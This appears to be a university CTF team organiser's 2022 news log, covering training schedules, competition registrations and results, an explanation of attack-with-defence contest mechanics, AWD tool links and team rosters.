Qualification exam | +free to participate | +free to participate, +5 points | +
The training schedule would last for 2 months, and then we would have a qualification exam. Around the top 20% of members are admitted to the team.
+The detailed schedule and the document would be published on a single page (Before the summer vacation).
+The page has been updated in 2022 Spring.
+DEF CON 30
+https://quals.2022.nautilus.institute/dashboard
+I have already submitted a team C0MP4SS
.
Qualifications begin 2022年5月28日 GMT+8 8:00:00 1653696000
+Qualifications end 2022年5月30日 GMT+8 8:00:00 1653868800
+The competition score of HED is 9th place in the CTF and 80% in the knowledge challenge.
+HED: 8th rank and qualified for the final round.
+If you are very close to the final, don't be upset. Try harder and your studies would be paid back.
+Team | +Score to final | +
---|---|
MFGI | +0.38 | +
W3r3wo1fki11 | +10.14 | +
猫猫划水队 | +11.22 | +
You are very talented. 10 points can be a 400 points challenge, keeping learning and you can win very soon.
+AWD, attack with defense.
+https://youtu.be/RkaLyji9pNs
+It is provided by the organizers and runs throughout the competition, starting when the network is opened. It periodically stores flags on your Vulnbox using the functionality in the provided services. It then later retrieves these flags, again using existing functionality. The Gameserver does not run exploits! It simply uses the service as intended.
+++Now, why can't the other teams then simply do what the Gameserver does?
+
The Gameserver has more information. Every service is either designed to allow the Gameserver to store a specific token for each flag or generates one and returns it to the Gameserver.
+The Gameserver uses this token to check periodically that the flag is still there. Whether or not it gets the stored flag using that token, determines your SLA (Service Level Agreement). You mustn't remove or break any legitimate functionality.
+Some services can have a vulnerability that directly leaks the flag, which will let you retrieve the flag easily. For others, it will require more effort.
+The Vulnbox is your running instance of the virtual machine image given to you by the organizers. It contains and runs all the services of the competition and should be reachable at all times. The Gameserver stores its flags here and uses the communication with this machine to decide if your services are working as intended or not. This machine is accessible to everyone on the network, and is the target for all the exploits from other teams.
+Protecting the flags on this machine is what determines your defense points!
+You normally have one hour from getting the decryption password of your Vulnbox until the network between teams is opened and everyone can attack each other. Use this time to get the VM running, then start analyzing what's running on it. It has happened that services with vulnerabilities that are easy to find have been exploited as soon as the actual competition starts.
+For learning how to host the Vulnbox, have a look at Basic Vulnbox Hosting.
+All the other registered teams are connected to the same VPN as you. Their Vulnboxes have known IP addresses, all other machines are off-limits! The other teams will run exploits from their own machines, but the VPN infrastructure will use NAT to obfuscate whether a packet came from the Gameserver or another team.
+Successfully stealing and submitting flags from the Vulnbox of other teams determines your attack score!
+If you have played jeopardy CTFs before, you already know flag submission. In this game, however, you'll have to run your exploits periodically, as new flags get stored by the Gameserver every few minutes. So you probably want to script exploits and submit Flags automatically and you don't spend all your time manually exploiting everyone.
+We can hold an AWD training and competition this weekend, if you are interested to.
+Our members are going to have the final exams.
+The training schedule for this weekend is skipped.
+Hope you have a good grade in your exams!
+AoiAWD: https://wiki.compass.college/Tool/AWD/AoiAWD/
+Auto-AWD: https://wiki.compass.college/Tool/AWD/Auto-AWD/
+AWD_auto_attack: https://wiki.compass.college/Tool/AWD/AWD_auto_attack/
+awd-submit-flag: https://wiki.compass.college/Tool/AWD/awd-submit-flag/
+awd-watchbird: https://wiki.compass.college/Tool/AWD/awd-watchbird/
+flower: https://wiki.compass.college/Tool/AWD/flower/
+ShellCat: https://wiki.compass.college/Tool/AWD/ShellCat/
+The time schedule would according to the weekly training topics. Every week, we would have a topic to focus on. During the training time, our timeline is set to the following table.
+Time | +Topic | +Introduction | +Material | +
---|---|---|---|
June, 19th | +CTF Overview & Fun-oriented challenges. | +Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. | +Introduction to CTF.pdf | +
June, 26th | +Linux, Programming, and Toolkit | +Introduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit. | +Linux, Programming, and Toolkit | +
July, 3rd | +Web Challenges and Databases | +Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. | +Web Challenges and Databases.pdf | +
July, 10th | +Forensics & Steganography | +Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. | +Forensics_Steganography.pdf | +
July, 17th | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. | +Cryptography.pptx | +
July, 24th | +Assembly Language | +Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. | +Reverse.pdf | +
July, 31th | +Operating Systems | +Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. | +Operating Systems.pptx | +
August, 7th | +Binary Exploitations | +PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. | +Binary Exploitation.pdf | +
August, 13th | +Report and Summary | +Before the final exam, we would have a report week to share your learning and conclusion on the CTF. | +TBA | +
August, 14th | +Exam | +Brand new challenges to solve this year, and winners would be qualified to the team. | +TBA | +
The training schedule isn't a course or something you need to rat race to get an A-level score. But, I think taking some grades can be feedback on your learning.
+How to join the compass team? Sometimes, joining the CTF competitions can be done by oneself, but usually, we need teamwork to get a better grade in the competitions. You don't want your teammate to be a newbie, right? The exam and the score are used to make sure that every member is great.
+Thus, if you find anything that is non-reasonable in our score system, please write an email to me. I would appreciate having your advice.
+The scoring system won't have a cap, you can get as many points if you want. However, I don't like the rat race. So, every category would have a percentage in the result.
+The final score formula is: score = weight * sum(percent * log(2, score))
The categories involves,
+The weight would be according to your grade. A freshman in the university is less experienced compared with the senior students, but from future learning, a freshman can have more time to improve. The weight is in order to balance the grades.
+This is summer training, and we won't have any senior members (they are already graduated).
+For example, if you got 3127 in the challenges and competitions, 155 in the remarks, 229 in the report, and 1625 in the final exam. You are a freshman in the university and just finished your first year. The total score would be: 1.06 * (0.3 * 11.610563503925041 + 0.1 * 7.2761244052742375 + 0.15 * 7.839203788096944 + 1 * 10.66622400280318) = 17.016059226486018
.
https://www.qiangguobei.org.cn/
+https://www.qiangguobei.org.cn/index/match/detail/id/12.html
+Register: starts from 2022-06-08
+Online Jeopardy: 2022-07-06
+Online region challenges: 2022-07-24 (TBA)
+Offline final: 2022-08-31 (TBA)
+https://www.wangdingcup.com/
+6月2日10:00-7月27日20:00
+参赛行业:高等院校,职业院校,无单位挂靠的社会参赛队伍
+8月4日9:00-17:00
+参赛行业:科研机构、科技企业、互联网企业、网安企业
+8月9日9:00-17:00
+8月28日
+8月29日
+Just got HSCTF9 #79, and the CTFtime team rank goes to the #28 in China.
+Overall rating place: 473 with 41.261 pts in 2022
+Country place: 28
+Place | +Event | +CTF points | +Rating points | +
---|---|---|---|
79 | +HSCTF 9 | +3351.0000 | +9.690 | +
104 | +1337UP LIVE CTF | +1629.0000 | +3.547 | +
31 | +Engineer CTF | +5229.0000 | +12.184 | +
27 | +Codegate CTF 2022 Preliminary | +1802.0000 | +5.842 | +
194 | +DefCamp CTF 21-22 Online | +100.0000 | +1.061 | +
159 | +Real World CTF 4th | +32.0000 | +0.748 | +
140 | +KnightCTF 2022 | +2425.0000 | +8.190 | +
We are going to have our first summer training!
+Training time: June, 19th from 9:00 am to 18:00 pm
+Location: 551 Meeting Room, Southern Tower of the Engineering Department & Online
+Topic: CTF Overview & Fun-oriented challenges.
+This week, we would register all members who want to participate in our summer schedule. I'm going to share something interesting about the CTFs and InfoSec. It's also a great time to meet some team members.
+In the morning:
+Discuss the schedule plans. Choose your learning goal and find the appropriate level. We would talk about some fun parts in the InfoSec also.
+In the afternoon:
+Learn about the different types of the CTF, and which kind of events you are interested in. Let's work on some teamwork and solve the challenges. Hope you enjoy the travel to InfoSec.
+An earphone. We are going to listen to some audio.
+Your teammate, classmate, and whoever you want to work with.
+星期六, 18 六月 2022, 10:00 CST — 星期日, 19 六月 2022, 10:00 CST
+https://standcon.n0h4ts.com/
+STANDCON is an annual flagship Cybersecurity Conference and Capture the Flag Competition.
+organized by N0H4TS, Division Zero. This year, STANDCON will be held from 17 - 19 June 2022.
+virtually in Singapore, via Gather Town and Discord.
+星期一, 20 六月 2022, 17:00 CST — 星期五, 24 六月 2022, 17:00 CST
+https://typhooncon.ctfd.io/
+TyphoonCon conference and workshop was founded in 2018 by SSD Secure Disclosure. As part of TyphoonCon, we will be hosting an on site and online CTF with specially crafted challenges alongside fantastic prizes.
+The event will be running from Monday, June 20th to Friday, June 24th, 2022, at 12 PM KST.
+Registration is now open at https://typhooncon.ctfd.io/.
+20-24 June 2022, Seoul, South Korea.
+All Offensive Security Conference.
+星期一, 27 六月 2022, 14:00 CST — 星期三, 29 六月 2022, 14:00 CST
+https://bsidestlv.com/ctf/2022/
+BSidesTLV is one of Israel's leading cyber conferences for hackers and security researchers - also hosting the annual Capture The Flag (CTF) competition!
+Thank you for your interest in attending BSidesTLV 2022!
+Due to overwhelming demand, we are temporarily pausing new registrations for our IN-PERSON conference on June 30 taking place during Tel Aviv University’s Cyber Week.
+We will announce updates on our mailing list and social media when registration resumes, stay tuned!
+If you plan to join us virtually, you do not need a ticket to watch the live stream or Join our Slack!
+The progress isn't good...
+We have 2 new members for this summer.
+I'm working on the advertisement for all students.
+ +2022-06-25 09:00:00——2022-06-27 09:00:00
+https://adworld.xctf.org.cn/competition/
+本届ACTF 2022是由XCTF联赛的合作单位AAA战队 (Azure Assassin Alliance)组织,由赛宁网安提供技术支持。作为第七届XCTF国际联赛的分站赛,本次比赛将采用在线网络安全夺旗挑战赛的形式,面向全球开放。
+此次比赛冠军队伍将直接晋级第七届XCTF总决赛(总决赛具体地点时间待定,将在确定后通知获得资格的国际和国内队伍)。其他参赛的队伍也将获得积分,来竞争XCTF总决赛的其他席位。
+Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.
+The offline training has 19 members in the morning, and 22 members in the afternoon.
+Every week I have selected several challenges for learning. If you are interested, finish those challenges from https://compass.ctfd.io/
+For this week, I'm designing new materials for the advanced network and web exploiting. Some new challenges would be used.
+http://detroit.sustech.edu.cn now has a functional CTFd-whale environment. I'm working on the following works:
+The new type of challenge platform would be online in a week.
+强国杯
+https://www.qiangguobei.org.cn/
+The register due on July, 15th.
+If you want to join this event, please contact me.
+Summer schedule have already finished the first two weeks. From the last week, we have 53 registered members.
+Date | +Morning | +Afternoon | +
---|---|---|
Week 2 | +19 | +22 | +
Week 3 | +14 | +21 | +
In the past few weeks we have some interesting sharing materials. Including things I haven't mentioned in the tutorial.
+In this weekend, we would look forward to the sharing from:
+Hope everyone enjoys summer schedule.
+http://detroit.sustech.edu.cn is now applying for the public Internet access. The ports are 80/443, 28000-30000.
+https://hub.docker.com/search?q=compassctf contains the docker image for CTFd-whale containers. I'm still working on the image construction. The old https://compass.ctfd.io/ would be configured to the new location after the setup.
+Containers I have done:
+Containers under construction:
+Meanwhile, I'm going to write a quick start for CTFd-whale docker image construction, and we can make some new nice challenges.
+The ITS has called me to sign up this competition, and we would like to attend this event.
+https://www.wangdingcup.com/
+Register due to July, 27th. Please send me those information:
+The information can be sent through WeChat directly, otherwise by using my PGP public key to encrypt.
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: Keybase OpenPGP v2.0.76
+Comment: https://keybase.io/crypto
+
+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
+=s/qg
+-----END PGP PUBLIC KEY BLOCK-----
+
+I won't store your information. So, I might ask you for those information again for different events.
+https://6.enowars.com/
+星期六, 16 七月 2022, 21:00 CST — 星期日, 17 七月 2022, 05:00 CST
+An A/D CTF, I've signed up for team C0MP4SS.
+https://bm.ichunqiu.com/2022qwb
+强网杯 6th 7.30 - 7.31
+We have 2 teams currently, one has 10 members, the other has 7 members.
+Team1: HED
+HED/role | +name | +
---|---|
Leader | +邬一帆 | +
Member | +金肇轩 | +
Member | +严文谦 | +
Member | +陈梓涵 | +
Member | +巫晓 | +
Member | +朱嘉楠 | +
Member | +李烨 | +
Member | +黎诗玥 | +
Member | +唐骞 | +
Member | +刘欣萌 | +
Team2: kfccrazythursdayvme50yuan
+role | +name | +
---|---|
Leader | +李照 | +
Member | +刘乐奇 | +
Member | +冯泉弼 | +
Member | +徐延楷 | +
Member | +谢子晟 | +
Member | +孙祎涛 | +
Member | +王乙 | +
Member | +金扬 | +
The first team is registered, and the second team is waiting for all the phone numbers to be signed up.
+Later today, I will collect some recent challenges and their writeups.
+采取在线解题(Jeopardy)模式,主要面向国内高校、企业、机构等网络安全力量,每队不超过10名参赛队员和1名赛队指导。赛题内容主要涉及二进制程序逆向分析、密码分析、智能终端安全、信息隐藏、人工智能等网络安全领域的主要知识与技能,重点考察参赛人员网络安全知识的综合运用能力和网络安全技能的创新实践能力。比赛时间2022年7月30日-31日。
+一等奖 第1-3名 3万RMB/队
+二等奖 第4-10名 2万RMB/队
+三等奖 第11-32名 1万RMB/队
+最佳题目奖 共1名 2万RMB/题
+优秀题目奖 共6名 5000元RMB/题
+竞赛官方QQ群:856775704
+The past training:
+Time | +Topic | +Introduction | +Material | +
---|---|---|---|
June, 26th | +CTF Overview & Fun-oriented challenges. | +Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. | +Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial | +
July, 3rd | +Web Challenges and Databases (Basics) | +Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. | +Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN | +
July, 10th | +Practice, Solving Web Challenges (Advanced) | +Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities. | +Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes | +
July, 17th | +Forensics & Steganography | +Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. | +Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics | +
The rest training:
+July, 24th | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. | +Cryptography.pptx | +
---|---|---|---|
July, 31st | +Assembly Language and Reverse Engineering | +Learn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved. | +Reverse.pdf | +
August, 7th | +Binary Exploitations | +PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. | +Binary Exploitation.pdf | +
This weekend, the engineering department would be powered off. The training schedule for this weekend may be online.
+I've invited some 2022 new students to attend the cryptography training this weekend.
+In the past qualification, the HED team has qualified for the final round.
+role | +name | +
---|---|
Leader | +邬一帆 | +
Member | +严文谦 | +
Member | +朱弘 | +
Member | +朱嘉楠 | +
Before the competition, we would have several AWD training. The time can be arranged according to your schedule.
+Better to be offline, in case we can have discussions about AWD.
+https://bm.ichunqiu.com/2022qwb
+强网杯 6th 7.30 - 7.31
+We have 2 teams currently, one has 10 members, the other has 7 members.
+Team1: HED
+HED/role | +name | +
---|---|
Leader | +邬一帆 | +
Member | +金肇轩 | +
Member | +严文谦 | +
Member | +陈梓涵 | +
Member | +巫晓 | +
Member | +朱嘉楠 | +
Member | +李烨 | +
Member | +黎诗玥 | +
Member | +唐骞 | +
Member | +刘欣萌 | +
Team2: kfccrazythursdayvme50yuan
+role | +name | +
---|---|
Leader | +李照 | +
Member | +刘乐奇 | +
Member | +冯泉弼 | +
Member | +徐延楷 | +
Member | +谢子晟 | +
Member | +孙祎涛 | +
Member | +王乙 | +
Member | +金扬 | +
Please join the corresponding notion group to co-operate in the competition.
+We have a discord group for voice chat:
+竞赛官方QQ群:856775704
+Hope you enjoy this competition!
+@Frankss @Monad, we won 21 rank in the DiceCTF 2022.
+Yet another win against pkucc and n03tAck QwQ.
+The competition has some very interesting challenges and tricks, I'll collect them and publish on the Detroit CTF platform.
+In the meanwhile, we got 27.853 ctftime scores. The coutry rank of our team is updated to 21st place.
+Congratulations every member! 🎉🎉🎉
+We've participated Guangdong CTF 2nd final meeting yesterday.
+The key information:
+We may need to try:
+The past training:
+Time | +Topic | +Introduction | +Material | +
---|---|---|---|
June, 26th | +CTF Overview & Fun-oriented challenges. | +Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. | +Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial | +
July, 3rd | +Web Challenges and Databases (Basics) | +Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. | +Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN | +
July, 10th | +Practice, Solving Web Challenges (Advanced) | +Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities. | +Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes | +
July, 17th | +Forensics & Steganography | +Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. | +Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics | +
July, 24th | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. | +Cryptography.pptx | +
The rest training:
+July, 31st | +Assembly Language and Reverse Engineering | +Learn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved. | +Reverse.pdf | +
---|---|---|---|
August, 7th | +Binary Exploitations | +PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. | +Binary Exploitation.pdf | +
I'm not at the campus currently. The training schedule for this weekend may be online.
+The CTF training is hard, but I hope you can learn something new, and enjoy the trip to the cybersecurity.
+The competition has ended. 2 of our teams have achieve great ranks:
+Team | +Rank | +
---|---|
HED | +74 | +
kfccrazythursdayv50 | +248 | +
The competition takes 10 members in a team. During the competition, we used notion for challenge synchronize and progress tracking.
+The defect of this event is the PWN part. We've done great in other aspects, except PWN. Learning about some PWN ideas would be our next step:
+A experienced PWN player would talk about the PWN sections this weekend. I'm looking forward to the PWN talk.
+Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.
+I'm collecting grades and finding final exam challenges.
+If you have great challenge, please inform me.
+The dynamic challenge environment would be set to use an environment variable $FLAG
, if you want to setup dynamic flag for your challenge, you can read this variable in the flag configuration.
Besides, using flag file is also fine.
+https://www.wangdingcup.com/
+Register till August 19th 20:00.
+Possible time:
+This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.
+This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.
+If you are interested in this event, please send me the register information.
+https://www.ctf.show/challenges
+An interesting event on ctf.show would be held today.
+Start time: 18pm.
+Duration: 24 hours.
+If you are looking forward some interesting (instead of hard events), don't miss this.
+...
+Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.
+CTFd-whale has worked properly. In case the Detroit platform has un-predictable problems, we would have a backup location at CTFd as well.
+The challenges categories:
+Category | +Challenge | +Difficulty | +
---|---|---|
Misc | +3 | +Easy to Medium | +
Web | +4 | +Easy to Hard | +
Crypto | +3 | +Medium | +
Re | +3 | +Medium to Hard | +
PWN | +4 | +Medium to Hard | +
I would update the challenges to a self-hosted CTFd for test. Team members can access this platform to try the challenges.
+Challenge time: August 14th 9:00am to 17:00pm.
+Challenge solving: please solve by yourself, teaming and cheating are not allowed.
+https://www.wangdingcup.com/
+Register till August 19th 20:00.
+Possible time:
+This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.
+This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.
+If you are interested in this event, please send me the register information.
+Name | +Team | +
---|---|
刘乐奇 | +1 | +
http://www.peakgeek.cn/#/
+线上赛报名:2022-08-01 10:00:00 - 2022-08-15 12:00:00
+线上赛时间:2022-08-17 10:00:00 - 2022-08-17 19:00:00
+参赛者须以团队为单位报名参赛,每支队伍设队长1名(必须),队长必须是参赛队员,负责参赛队伍的组织管理。每支队伍参赛队员不超过4人(含队长)。参赛队员只能隶属于一支队伍,比赛晋级过程中如果有队员中途退出,不能补位。队长退出可由队内其他队员担任。建议由队长统一进行在线报名,报名完成后可通过专题页的报名查询功能查看是否已报名成功。
+https://bm.ichunqiu.com/2022ccb
+线上赛报名:2022-07-25 10:00:00 - 2022-08-12 12:00:00
+线上赛时间:2022-08-23 12:00:00 - 2022-08-23 18:00:00
+4、参赛者须以团队为单位报名参赛,每队人数不超过3人,须设队长1名;队长可以查看和编辑本队队员的信息,并管理本队队员的加入与退出。
+5、每支队伍可另设领队1名,领队不得参赛。
+Currently, the university is still under the COVID situation, I'm not able to return to the university.
+This weekend's meeting & welcome schedule would be canceled.
+Thanks to the @Frankss, the mistakes on the Detroit CTFd server are repaired.
+Those problems occur as a result of the dirty transfer of the data through different CTFd versions.
+If you want to use your old account, please contact me to reset the password.
+Besides, I'm trying to use GZCTF for further challenges maintenance. CTFd and GZCTF are using different hash functions for password hashing. As a result, all the passwords would be protected by a random value.
+After the transfer to GZCTF, I would reset the password.
+官方比赛链接地址:https://bm.ichunqiu.com/2022meituan
+线上赛报名:2022-09-01 10:00:00 - 2022-09-16 10:00:00
+线上赛时间:2022-09-17 09:00:00 - 2022-09-17 21:00:00
+本次比赛主办方:美团安全应急响应中心;美团·校园招聘
+技术支持:永信至诚
+初赛:初赛采用线上CTF团队赛的形式,比赛时长12小时。
+https://www.chinaiisc.cn/beijing
+1) 竞赛为三人团体赛,报名参赛的角色分别为选手1(队长)、选手2、选手3。
+2) 报名起止时间:8月24日 00:00 — 9月16日 24:00
+https://ctf.bytedance.com/
+报名时间:8月8日 - 9月22日
+比赛时间:9月24日 - 9月25日
+Challenge update.
+Offline meeting & inviting for 2022 students.
+Event sign-up.
+We are going to format the challenges platform to hold and collection of event challenges.
+These kinds of challenges would be stored:
+Event challenges that are already unable to submit on the event's website.
+Original challenges.
+Qualification exam.
+Other challenges would be removed.
+Besides, I would post writeups for all challenges these days.
+I'm planning for a sharing and meeting with 2022 students who are interested in the CTF & Infosec.
+The sharing time would be on the 1st, of Oct, or the 2nd, of Oct. The sharing would be given by team members.
+According to the schedule this semester, the whole of October would be used for new students' training.
+Before the October, we would have 1 advanced training for team members.
+官方比赛链接地址:https://bm.ichunqiu.com/2022meituan
+线上赛报名:2022-09-01 10:00:00 - 2022-09-16 10:00:00
+线上赛时间:2022-09-17 09:00:00 - 2022-09-17 21:00:00
+本次比赛主办方:美团安全应急响应中心;美团·校园招聘
+技术支持:永信至诚
+初赛:初赛采用线上CTF团队赛的形式,比赛时长12小时。
+https://www.chinaiisc.cn/beijing
+1) 竞赛为三人团体赛,报名参赛的角色分别为选手1(队长)、选手2、选手3。
+2) 报名起止时间:8月24日 00:00 — 9月16日 24:00
+https://ctf.bytedance.com/
+报名时间:8月8日 - 9月22日
+比赛时间:9月24日 - 9月25日
+[ ] Ready for the GD CTF 2nd Final script.
+ + + + + + + + +Good news.
+Double good news.
+ByteCTF register.
+Offline party time.
+Training schedule for this week.
+We got rank 10 in the dfjk CTF final round.
+For this score, congratulations to @Frankss, @Monad, @GGA, and me. We won ¥10,000 in this game, and a certification & trophy for our score.
+Rank | +Team | +
---|---|
1 | +Straw Hat | +
2 | +Redbud | +
3 | +D1no | +
4 | +极客信安 | +
5 | +休闲农庄 | +
6 | +你干嘛···哈哈···哎哟··· | +
7 | +小恐龙摸大鱼 | +
8 | +仔鸡米粉不要香菜 | +
9 | +Nebula | +
10 | +HED | +
11 | +0x401 | +
In the past wd CTF, we have achieved rank 7 as well.
+ +This is the most famous event which is hosted by Ministry of Public Security. If we won in the semifinal round, we can get the award from them.
+Rank | +Team | +
---|---|
1 | +Redbud | +
2 | +0ops | +
3 | +0x401 | +
4 | +Asuri | +
5 | +北门辣子鸡 | +
6 | +irusA | +
7 | +HED | +
8 | +Xp0int | +
9 | +来自东方的神秘力量 | +
10 | +H4F | +
Congratulation to @Frankss, @Monad, @GGA. The semifinal round is around 20 days later, offline.
+The register due today!!!
+https://ctf.bytedance.com/
+We need to register on this website, and receive the team invitation.
